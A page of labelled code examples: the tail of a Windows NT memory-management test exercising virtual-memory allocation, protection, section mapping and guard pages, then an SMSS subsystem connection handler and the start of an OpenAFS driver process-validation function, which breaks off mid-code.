            DbgPrint(" free vm failed - status %lx\n",status);
            DbgPrint("******** FAILED TEST 3.3 **************\n");
            NtTerminateProcess(NtCurrentProcess(),status);
        }
    }

    if (NT_SUCCESS(alstatus)) {
        status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&p1,
                                      &Size1,
                                      MEM_RELEASE);
    }

    if (!(NT_SUCCESS(status))) {
        DbgPrint(" free vm failed - status %lx\n",status);
        DbgPrint("******** FAILED TEST 4 **************\n");
        NtTerminateProcess(NtCurrentProcess(),status);
    }

    p1 = (PULONG)NULL;
    Size1 = 16 * 4096;
    status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size1, MEM_RESERVE, PAGE_READWRITE | PAGE_GUARD);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 5 **************\n");

        DbgPrint("created vm status %X start %lx size %lx\n",
            status, (ULONG)p1, Size1);
    }
    status = NtQueryVirtualMemory (CurrentProcessHandle, p1,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 6 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             p1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx alloc_protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.AllocationProtect,
             MemInfo.Type);
    }

    if ((MemInfo.RegionSize != Size1) || (MemInfo.BaseAddress != p1) ||
        (MemInfo.AllocationProtect != (PAGE_READWRITE | PAGE_GUARD)) ||
        (MemInfo.Protect != 0) ||
        (MemInfo.Type != MEM_PRIVATE) ||
        (MemInfo.State != MEM_RESERVE)) {

        DbgPrint("******** FAILED TEST 7 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             p1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx alloc_protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.AllocationProtect,
             MemInfo.Type);
    }

    Size2 = 8192;

    oldp1 = p1;
    p1 = p1 + 14336;  // 64k -8k /4

    status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 8 **************\n");
        DbgPrint("created vm status %X start %lx size %lx\n",
            status, (ULONG)p1, Size1);
    }
    status = NtQueryVirtualMemory (CurrentProcessHandle, oldp1,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 9 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             oldp1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }

    if ((MemInfo.RegionSize != 56*1024) || (MemInfo.BaseAddress != oldp1) ||
        (MemInfo.AllocationProtect != (PAGE_READWRITE | PAGE_GUARD)) ||
        (MemInfo.Protect != 0) ||
        (MemInfo.Type != MEM_PRIVATE) ||
        (MemInfo.State != MEM_RESERVE)) {

        DbgPrint("******** FAILED TEST 10 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             oldp1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx alloc_protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.AllocationProtect,
             MemInfo.Type);
    }

    status = NtQueryVirtualMemory (CurrentProcessHandle, p1,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 11 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             p1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }
    if ((MemInfo.RegionSize != Size2) || (MemInfo.BaseAddress != p1) ||
        (MemInfo.Protect != PAGE_EXECUTE_READWRITE) || (MemInfo.Type != MEM_PRIVATE) ||
        (MemInfo.State != MEM_COMMIT)
        || (MemInfo.AllocationBase != oldp1)) {

        DbgPrint("******** FAILED TEST 12 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             oldp1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }

    Size1 = Size2;

    status = NtProtectVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        &Size1, PAGE_READONLY | PAGE_NOCACHE, &OldProtect);

    if ((!NT_SUCCESS(status)) || (OldProtect != PAGE_EXECUTE_READWRITE)) {
        DbgPrint("******** FAILED TEST 13 **************\n");
        DbgPrint("protected VM status %X, base %lx, size %lx, old protect %lx\n",
                    status, p1, Size1, OldProtect);
    }
    status = NtQueryVirtualMemory (CurrentProcessHandle, p1,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if ((!NT_SUCCESS(status)) ||
        MemInfo.Protect != (PAGE_NOCACHE | PAGE_READONLY)) {

        DbgPrint("******** FAILED TEST 14 **************\n");

        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
                 status,
                 p1,
                 MemInfo.BaseAddress,
                 MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
                 MemInfo.State,
                 MemInfo.Protect,
             MemInfo.Type);
    }
    i = *p1;

    status = NtProtectVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        &Size1, PAGE_NOACCESS | PAGE_NOCACHE, &OldProtect);

    if (status != STATUS_INVALID_PAGE_PROTECTION) {
        DbgPrint("******** FAILED TEST 15 **************\n");
        DbgPrint("protected VM status %X, base %lx, size %lx, old protect %lx\n",
                    status, p1, Size1, OldProtect, i);
    }
    status = NtProtectVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        &Size1, PAGE_READONLY, &OldProtect);

    if ((!NT_SUCCESS(status)) || (OldProtect != (PAGE_NOCACHE | PAGE_READONLY))) {
        DbgPrint("******** FAILED TEST 16 **************\n");
        DbgPrint("protected VM status %X, base %lx, size %lx, old protect %lx\n",
                    status, p1, Size1, OldProtect);
    }
    status = NtProtectVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        &Size1, PAGE_READWRITE, &OldProtect);

    if ((!NT_SUCCESS(status)) || (OldProtect != (PAGE_READONLY))) {
        DbgPrint("******** FAILED TEST 17 **************\n");
        DbgPrint("protected VM status %X, base %lx, size %lx, old protect %lx\n",
                    status, p1, Size1, OldProtect);
    }

    for (i = 1; i < 12; i++) {

        p2 = (PULONG)NULL;
        Size2 = i * 4096;

        status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p2,
                        0, &Size2, MEM_COMMIT, PAGE_READWRITE);

        if (!NT_SUCCESS(status)) {
            DbgPrint("******** FAILED TEST 18 **************\n");
            DbgPrint("created vm status %X start %lx size %lx\n",
                status, (ULONG)p2, Size2);
        }
        if (i==4) {
            p3 = p2;
        }
        if (i == 8) {
            Size3 = 12000;
            status = NtFreeVirtualMemory (CurrentProcessHandle,(PVOID *)&p3, &Size3,
                                  MEM_RELEASE);

            if (!NT_SUCCESS(status)) {
                DbgPrint("******** FAILED TEST 19 **************\n");
                DbgPrint("free vm status %X start %lx size %lx\n",
                    status, (ULONG)p3, Size3);
            }
        }

    }

    p3 = p1 + 8 * 1024;

    status = NtQueryVirtualMemory (CurrentProcessHandle, p3,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 20 **************\n");

        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             p3,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }
    p3 = p1 - 8 * 1024;

    status = NtQueryVirtualMemory (CurrentProcessHandle, p3,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 21 **************\n");
        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             p3,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }

    Size3 = 16 * 4096;
    status = NtFreeVirtualMemory (CurrentProcessHandle, (PVOID *)&p3, &Size3,
                                  MEM_RELEASE);

    if (status != STATUS_UNABLE_TO_FREE_VM) {
        DbgPrint("******** FAILED TEST 22 **************\n");
        DbgPrint("free vm status %X start %lx size %lx\n",
            status, (ULONG)p3, Size3);
    }

    Size3 = 1 * 4096;
    status = NtFreeVirtualMemory (CurrentProcessHandle, (PVOID *)&p3, &Size3,
                                    MEM_RELEASE);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 23 **************\n");
        DbgPrint("free vm status %X start %lx size %lx\n",
            status, (ULONG)p3, Size3);
    }

    p3 = (PULONG)NULL;
    Size3 = 300 * 4096;

    status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p3,
                        0, &Size3, MEM_COMMIT, PAGE_READWRITE);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 24 **************\n");
        DbgPrint("created vm status %X start %lx size %lx\n",
            status, (ULONG)p3, Size3);
    }

    p1 = p3;

    p2 = ((PULONG)((PUCHAR)p3 + Size3));
    p4 = p1;
    j = 0;

    while (p3 < p2) {
        j += 1;
        if (j % 8 == 0) {
            if (*p4 != (ULONG)p4) {
                DbgPrint("bad value in xcell %lx value is %lx\n",p4, *p4);

            }
            p4 += 1;
            *p4 = (ULONG)p4;
            p4 = p4 + 1026;
        }

        *p3 = (ULONG)p3;
        p3 += 1027;
    }

    DbgPrint("checking values\n");

    status = NtQueryVirtualMemory (CurrentProcessHandle, p3,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 25 **************\n");

        DbgPrint("query vm status %X address %lx Base %lx size %lx\n",
             status,
             p3,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }

    p3 = p1;

    while (p3 < p2) {

        if (*p3 != (ULONG)p3) {
            DbgPrint("bad value in 1cell %lx value is %lx\n",p3, *p3);
        }
        p3 += 1027;

    }
    p3 = p1;

    while (p3 < p2) {

        if (*p3 != (ULONG)p3) {
            DbgPrint("bad value in 2cell %lx value is %lx\n",p3, *p3);
        }
        p3 += 1027;

    }
    p3 = p1;

    while (p3 < p2) {

        if (*p3 != (ULONG)p3) {
            DbgPrint("bad value in 3cell %lx value is %lx\n",p3, *p3);
        }
        p3 += 1027;

    }
    p3 = p1;

    while (p3 < p2) {

        if (*p3 != (ULONG)p3) {
            DbgPrint("bad value in 4cell %lx value is %lx\n",p3, *p3);
        }
        p3 += 1027;

    }
    p3 = p1;

    while (p3 < p2) {

        if (*p3 != (ULONG)p3) {
            DbgPrint("bad value in 5cell %lx value is %lx\n",p3, *p3);
        }
        p3 += 1027;

    }
    p3 = p1;

    while (p3 < p2) {

        if (*p3 != (ULONG)p3) {
            DbgPrint("bad value in cell %lx value is %lx\n",p3, *p3);
        }
        p3 += 1027;

    }

    //
    // Check physical frame mapping.
    //

    //
    // Check physical frame mapping.
    //

    RtlInitAnsiString (&Name3, "\\Device\\PhysicalMemory");

    status = RtlAnsiStringToUnicodeString(&Unicode,&Name3,TRUE);
    if (!NT_SUCCESS(status)) {
        printf("string conversion failed status %lx\n", status);
        ExitProcess (status);
    }
    InitializeObjectAttributes( &ObjectAttributes,
                                &Unicode,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );

    status = NtOpenSection ( &Section1,
                             SECTION_MAP_READ | SECTION_MAP_WRITE,
                             &ObjectAttributes );

    RtlFreeUnicodeString(&Unicode);

    if (status != 0) {
        DbgPrint("******** FAILED TEST 26 **************\n");
        DbgPrint("open physical section failed %lx\n", status);
    }

    p1 = NULL;
    Offset.LowPart = 0x810ff033;
    Offset.HighPart = 0;
    ViewSize = 300*4096;

    status = NtMapViewOfSection (Section1,
                                 NtCurrentProcess(),
                                 (PVOID *)&p1,
                                 0,
                                 ViewSize,
                                 &Offset,
                                 &ViewSize,
                                 ViewUnmap,
                                 0,
                                 PAGE_READWRITE
                                 );
    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 27 **************\n");
        DbgPrint ("map physical section %X offset = %lx, base %lx\n",status,
                Offset.LowPart, p1);
    }



    p1 = NULL;
    Size1 = 8 * 1024 * 1024;

    alstatus = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (!NT_SUCCESS(alstatus)) {
        DbgPrint("failed first created vm status %X start %lx size %lx\n",
            alstatus, (ULONG)p1, Size1);
        DbgPrint("******** FAILED TEST 28 **************\n");
    }

    RtlZeroMemory (p1, Size1);

    Size1 -= 20000;
    (PUCHAR)p1 += 5000;
    status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&p1,
                                      &Size1 ,
                                      MEM_DECOMMIT);

    if (!(NT_SUCCESS(status))) {
        DbgPrint(" free vm failed - status %lx\n",status);
        DbgPrint("******** FAILED TEST 29 **************\n");
        NtTerminateProcess(NtCurrentProcess(),status);
    }

    Size1 -= 20000;
    (PUCHAR)p1 += 5000;
    alstatus = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);


    if (!NT_SUCCESS(alstatus)) {
        DbgPrint("failed first created vm status %X start %lx size %lx\n",
            alstatus, (ULONG)p1, Size1);
        DbgPrint("******** FAILED TEST 30 **************\n");
    }

    RtlZeroMemory (p1, Size1);


    Size1 = 28 * 4096;
    p1 = NULL;

    status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size1, MEM_COMMIT, PAGE_READWRITE | PAGE_GUARD);

    if (!NT_SUCCESS(status)) {
        DbgPrint("failed first created vm status %X start %lx size %lx\n",
            status, (ULONG)p1, Size1);
        DbgPrint("******** FAILED TEST 31 **************\n");
    }

    try {

        //
        // attempt to write the guard page.
        //

        *p1 = 973;
        DbgPrint("************ FAILURE TEST 31.3 guard page exception did not occur\n");

    } except (EXCEPTION_EXECUTE_HANDLER) {
        status = GetExceptionCode();
        if (status != STATUS_GUARD_PAGE_VIOLATION) {
            DbgPrint("******** FAILED TEST 32 ******\n");
        }
    }

    p2 = NULL;
    Size2 = 200*1024*1024;  //200MB

    status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p2,
                    0, &Size2, MEM_COMMIT, PAGE_READWRITE);

    if (NT_SUCCESS(status)) {
        status = NtFreeVirtualMemory (CurrentProcessHandle,
                                          (PVOID *)&p2,
                                          &Size2,
                                          MEM_RELEASE);
    } else {
        if ((status != STATUS_COMMITMENT_LIMIT) &&
             (status != STATUS_PAGEFILE_QUOTA_EXCEEDED)) {
            DbgPrint("******** FAILED TEST 33 ************** %lx\n",status);
        }
    }

    //
    // Create a giant section (2gb)
    //

    InitializeObjectAttributes( &Object1Attributes,
                                NULL,
                                0,
                                NULL,
                                NULL );

    SectionSize.LowPart = 0x7f000000;
    SectionSize.HighPart = 0;

    status = NtCreateSection (&GiantSection,
                              SECTION_MAP_READ | SECTION_MAP_WRITE,
                              &Object1Attributes,
                              &SectionSize,
                              PAGE_READWRITE,
                              SEC_RESERVE,
                              NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("failed create big section status %X\n",
            status);
        DbgPrint("******** FAILED TEST 41 **************\n");
    }

    //
    // Attempt to map the section (this should fail).
    //

    p1 = NULL;
    ViewSize = 0;

    status = NtMapViewOfSection (GiantSection,
                                 CurrentProcessHandle,
                                 (PVOID *)&p1,
                                 0L,
                                 0,
                                 0,
                                 &ViewSize,
                                 ViewUnmap,
                                 0,
                                 PAGE_READWRITE );

    if (status != STATUS_NO_MEMORY) {
        DbgPrint("failed map big section status %X\n",
            status);
        DbgPrint("******** FAILED TEST 42 **************\n");
    }

#ifdef i386
    //
    // Test MEM_DOS_LIM support.
    //

    InitializeObjectAttributes( &Object1Attributes,
                                NULL,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
    SectionSize.LowPart = 1575757,
    SectionSize.HighPart = 0;
    status = NtCreateSection (&Section4,
                              SECTION_MAP_READ | SECTION_MAP_WRITE,
                              &Object1Attributes,
                              &SectionSize,
                              PAGE_READWRITE,
                              SEC_COMMIT,
                              NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 42 **************\n");
        DbgPrint("t1 create section  status %X section handle %lx\n", status,
        (ULONG)Section4);
    }

    p3 = (PVOID)0x9001000;
    ViewSize = 8000;

    status = NtMapViewOfSection (Section4,
                                 CurrentProcessHandle,
                                 (PVOID *)&p3,
                                 0L,
                                 0,
                                 0,
                                 &ViewSize,
                                 ViewUnmap,
                                 MEM_DOS_LIM,
                                 PAGE_READWRITE );

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 43 **************\n");
        DbgPrint("t1 map section status %X base %lx size %lx\n", status, (ULONG)p3,
            ViewSize);
        NtTerminateProcess(NtCurrentProcess(),STATUS_SUCCESS);
    }

    p2 = (PVOID)0x9003000;
    ViewSize = 8000;

    status = NtMapViewOfSection (Section4,
                                 CurrentProcessHandle,
                                 (PVOID *)&p2,
                                 0L,
                                 0,
                                 0,
                                 &ViewSize,
                                 ViewUnmap,
                                 MEM_DOS_LIM,
                                 PAGE_READWRITE );

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 44 **************\n");
        DbgPrint("t1 map section status %X base %lx size %lx\n", status, (ULONG)p3,
            ViewSize);
        NtTerminateProcess(NtCurrentProcess(),STATUS_SUCCESS);
    }

    status = NtQueryVirtualMemory (CurrentProcessHandle, p3,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 44 **************\n");
        DbgPrint("FAILURE query vm status %X address %lx Base %lx size %lx\n",
             status,
             p1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }

    *p3 = 98;
    if (*p3 != *p2) {
        DbgPrint("******** FAILED TEST 45 **************\n");
    }


    Size2 = 8;

    p1 = (PVOID)((ULONG)p2 - 0x3000);
    status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 46 **************\n");
        DbgPrint("created vm status %X start %lx size %lx\n",
            status, (ULONG)p1, Size1);
    }
#endif

    DbgPrint(" End of Memory Management Tests - CreateSection, MapView\n");


    DbgPrint("creating too much virtual address space\n");
    i = 0;

    do {
        p2 = NULL;
        Size2 = 8*1024*1024 + 9938;
        i += 1;

        status = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p2,
                        0, &Size2, MEM_RESERVE, PAGE_READWRITE);

    } while (NT_SUCCESS (status));

    if (status != STATUS_NO_MEMORY) {
        DbgPrint("******** FAILED TEST 46 **************\n");
    }

    DbgPrint("created vm done (successfully) status %X, number of allocs %ld\n",
            status, i);
    DbgPrint(" End of Memory Management Tests - AllocVm, FreeVm, ProtectVm, QueryVm\n");

{
    ULONG size, Size;
    PVOID BaseAddress;
    NTSTATUS Status;

    Size = 50*1024;
    size = Size - 1;
    BaseAddress = (PVOID)1;

    // we pass an address of 1, so mm will round it down to 0.  if we
    // passed 0, it looks like a not present argument

    // N.B.  We have to make two separate calls to allocatevm, because
    //       we want a specific virtual address.  If we don't first reserve
    //       the address, the mm fails the commit call.

    Status = NtAllocateVirtualMemory( NtCurrentProcess(),
                                      &BaseAddress,
                                      0L,
                                      &size,
                                      MEM_RESERVE,
                                      PAGE_READWRITE );

    if (!NT_SUCCESS(Status)) {
        DbgPrint("NtReserveVirtualMemory failed !!!! Status = %lx\n",
          Status);
    }

    size = Size - 1;
    BaseAddress = (PVOID)1;
    Status = NtAllocateVirtualMemory( NtCurrentProcess(),
                                      &BaseAddress,
                                      0L,
                                      &size,
                                      MEM_COMMIT,
                                      PAGE_READWRITE );

    if (!NT_SUCCESS(Status)) {
        DbgPrint("NtCommitVirtualMemory failed !!!! Status = %lx\n",
          Status);
    }
}

    ExitProcess (0);
}
Example #8
0
NTSTATUS
NTAPI
SmpHandleConnectionRequest(IN HANDLE SmApiPort,
                           IN PSB_API_MSG SbApiMsg)
{
    BOOLEAN Accept = TRUE;
    HANDLE PortHandle, ProcessHandle;
    ULONG SessionId;
    UNICODE_STRING SubsystemPort;
    SMP_CLIENT_CONTEXT *ClientContext;
    NTSTATUS Status;
    OBJECT_ATTRIBUTES ObjectAttributes;
    REMOTE_PORT_VIEW PortView;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    PSMP_SUBSYSTEM CidSubsystem, TypeSubsystem;

    /* Initialize QoS data */
    SecurityQos.ImpersonationLevel = SecurityIdentification;
    SecurityQos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
    SecurityQos.EffectiveOnly = TRUE;

    /* Check if this is SM connecting to itself */
    if (SbApiMsg->h.ClientId.UniqueProcess == SmUniqueProcessId)
    {
        /* No need to get any handle -- assume session 0 */
        ProcessHandle = NULL;
        SessionId = 0;
    }
    else
    {
        /* Reference the foreign process */
        InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
        Status = NtOpenProcess(&ProcessHandle,
                               PROCESS_QUERY_INFORMATION,
                               &ObjectAttributes,
                               &SbApiMsg->h.ClientId);
        if (!NT_SUCCESS(Status)) Accept = FALSE;

        /* Get its session ID */
        SmpGetProcessMuSessionId(ProcessHandle, &SessionId);
    }

    /* See if we already know about the caller's subsystem */
    CidSubsystem = SmpLocateKnownSubSysByCid(&SbApiMsg->h.ClientId);
    if ((CidSubsystem) && (Accept))
    {
        /* Check if we already have a subsystem for this kind of image */
        TypeSubsystem = SmpLocateKnownSubSysByType(SessionId,
                                                   SbApiMsg->ConnectionInfo.SubsystemType);
        if (TypeSubsystem == CidSubsystem)
        {
            /* Someone is trying to take control of an existing subsystem, fail */
            Accept = FALSE;
            DPRINT1("SMSS: Connection from SubSystem rejected\n");
            DPRINT1("SMSS: Image type already being served\n");
        }
        else
        {
            /* Set this image type as the type for this subsystem */
            CidSubsystem->ImageType = SbApiMsg->ConnectionInfo.SubsystemType;
        }

        /* Drop the reference we had acquired */
        if (TypeSubsystem) SmpDereferenceSubsystem(TypeSubsystem);
    }

    /* Check if we'll be accepting the connection */
    if (Accept)
    {
        /* We will, so create a client context for it */
        ClientContext = RtlAllocateHeap(SmpHeap, 0, sizeof(SMP_CLIENT_CONTEXT));
        if (ClientContext)
        {
            ClientContext->ProcessHandle = ProcessHandle;
            ClientContext->Subsystem = CidSubsystem;
            ClientContext->dword10 = 0;
            ClientContext->PortHandle = NULL;
        }
        else
        {
            /* Failed to allocate a client context, so reject the connection */
            DPRINT1("Rejecting connectiond due to lack of memory\n");
            Accept = FALSE;
        }
    }
    else
    {
        /* Use a bogus context since we're going to reject the message */
        ClientContext = (PSMP_CLIENT_CONTEXT)SbApiMsg;
    }

    /* Now send the actual accept reply (which could be a rejection) */
    PortView.Length = sizeof(PortView);
    Status = NtAcceptConnectPort(&PortHandle,
                                 ClientContext,
                                 &SbApiMsg->h,
                                 Accept,
                                 NULL,
                                 &PortView);
    if (!(Accept) || !(NT_SUCCESS(Status)))
    {
        /* Close the process handle, reference the subsystem, and exit */
        DPRINT1("Accept failed or rejected: %lx\n", Status);
        if (ClientContext != (PVOID)SbApiMsg) RtlFreeHeap(SmpHeap, 0, ClientContext);
        if (ProcessHandle) NtClose(ProcessHandle);
        if (CidSubsystem) SmpDereferenceSubsystem(CidSubsystem);
        return Status;
    }

    /* Save the port handle now that we've accepted it */
    if (ClientContext) ClientContext->PortHandle = PortHandle;
    if (CidSubsystem) CidSubsystem->PortHandle = PortHandle;

    /* Complete the port connection */
    Status = NtCompleteConnectPort(PortHandle);
    if ((NT_SUCCESS(Status)) && (CidSubsystem))
    {
        /* This was an actual subsystem, so connect back to it */
        SbApiMsg->ConnectionInfo.SbApiPortName[119] = UNICODE_NULL;
        RtlCreateUnicodeString(&SubsystemPort,
                               SbApiMsg->ConnectionInfo.SbApiPortName);
        Status = NtConnectPort(&CidSubsystem->SbApiPort,
                               &SubsystemPort,
                               &SecurityQos,
                               NULL,
                               NULL,
                               NULL,
                               NULL,
                               NULL);
        if (!NT_SUCCESS(Status))
        {
            DPRINT1("SMSS: Connect back to Sb %wZ failed %lx\n", &SubsystemPort, Status);
        }
        RtlFreeUnicodeString(&SubsystemPort);

        /* Now that we're connected, signal the event handle */
        NtSetEvent(CidSubsystem->Event, NULL);
    }
    else if (CidSubsystem)
    {
        /* We failed to complete the connection, so clear the port handle */
        DPRINT1("Completing the connection failed: %lx\n", Status);
        CidSubsystem->PortHandle = NULL;
    }

    /* Dereference the subsystem and return the result */
    if (CidSubsystem) SmpDereferenceSubsystem(CidSubsystem);
    return Status;
}
Example #9
0
GUID *
AFSValidateProcessEntry( IN HANDLE  ProcessId,
                         IN BOOLEAN bProcessTreeLocked)
{

    GUID *pAuthGroup = NULL;
    NTSTATUS ntStatus = STATUS_SUCCESS;
    AFSProcessCB *pProcessCB = NULL, *pParentProcessCB = NULL;
    AFSDeviceExt *pDeviceExt = (AFSDeviceExt *)AFSDeviceObject->DeviceExtension;
    ULONGLONG ullProcessID = (ULONGLONG)ProcessId;
    UNICODE_STRING uniSIDString;
    ULONG ulSIDHash = 0;
    AFSSIDEntryCB *pSIDEntryCB = NULL;
    ULONG ulSessionId = 0;
    ULONGLONG ullTableHash = 0;
    AFSThreadCB *pParentThreadCB = NULL;
    UNICODE_STRING uniGUID;
    BOOLEAN bImpersonation = FALSE;

    __Enter
    {

        uniSIDString.Length = 0;
        uniSIDString.MaximumLength = 0;
        uniSIDString.Buffer = NULL;

        if ( !bProcessTreeLocked)
        {

            AFSDbgTrace(( AFS_SUBSYSTEM_LOCK_PROCESSING,
                          AFS_TRACE_LEVEL_VERBOSE,
                          "AFSValidateProcessEntry Acquiring Control ProcessTree.TreeLock lock %p SHARED %08lX\n",
                          pDeviceExt->Specific.Control.ProcessTree.TreeLock,
                          PsGetCurrentThread()));

            AFSAcquireShared( pDeviceExt->Specific.Control.ProcessTree.TreeLock,
                              TRUE);
        }

        AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                      AFS_TRACE_LEVEL_VERBOSE,
                      "%s Entry for ProcessID %I64X\n",
                      __FUNCTION__,
                      ullProcessID));

        ntStatus = AFSLocateHashEntry( pDeviceExt->Specific.Control.ProcessTree.TreeHead,
                                       ullProcessID,
                                       (AFSBTreeEntry **)&pProcessCB);

        if( !NT_SUCCESS( ntStatus) ||
            pProcessCB == NULL)
        {

            if ( !bProcessTreeLocked)
            {

                AFSReleaseResource( pDeviceExt->Specific.Control.ProcessTree.TreeLock);

                AFSAcquireExcl( pDeviceExt->Specific.Control.ProcessTree.TreeLock,
                                TRUE);
            }

            ntStatus = AFSLocateHashEntry( pDeviceExt->Specific.Control.ProcessTree.TreeHead,
                                           ullProcessID,
                                           (AFSBTreeEntry **)&pProcessCB);

            if( !NT_SUCCESS( ntStatus) ||
                pProcessCB == NULL)
            {

                AFSProcessCreate( 0,
                                  ProcessId,
                                  0,
                                  0);
            }

            if( !NT_SUCCESS( ntStatus) ||
                pProcessCB == NULL)
            {

                AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                              AFS_TRACE_LEVEL_ERROR,
                              "%s Failed to locate process entry for ProcessID %I64X\n",
                              __FUNCTION__,
                              ullProcessID));

                try_return( ntStatus = STATUS_UNSUCCESSFUL);
            }

            if ( !bProcessTreeLocked)
            {

                AFSConvertToShared( pDeviceExt->Specific.Control.ProcessTree.TreeLock);
            }
        }

        //
        // Locate and lock the ParentProcessCB if we have one
        //

        if( pProcessCB->ParentProcessId != 0)
        {

            AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                          AFS_TRACE_LEVEL_VERBOSE,
                          "%s Locating process entry for Parent ProcessID %I64X\n",
                          __FUNCTION__,
                          pProcessCB->ParentProcessId));

            ntStatus = AFSLocateHashEntry( pDeviceExt->Specific.Control.ProcessTree.TreeHead,
                                           (ULONGLONG)pProcessCB->ParentProcessId,
                                           (AFSBTreeEntry **)&pParentProcessCB);

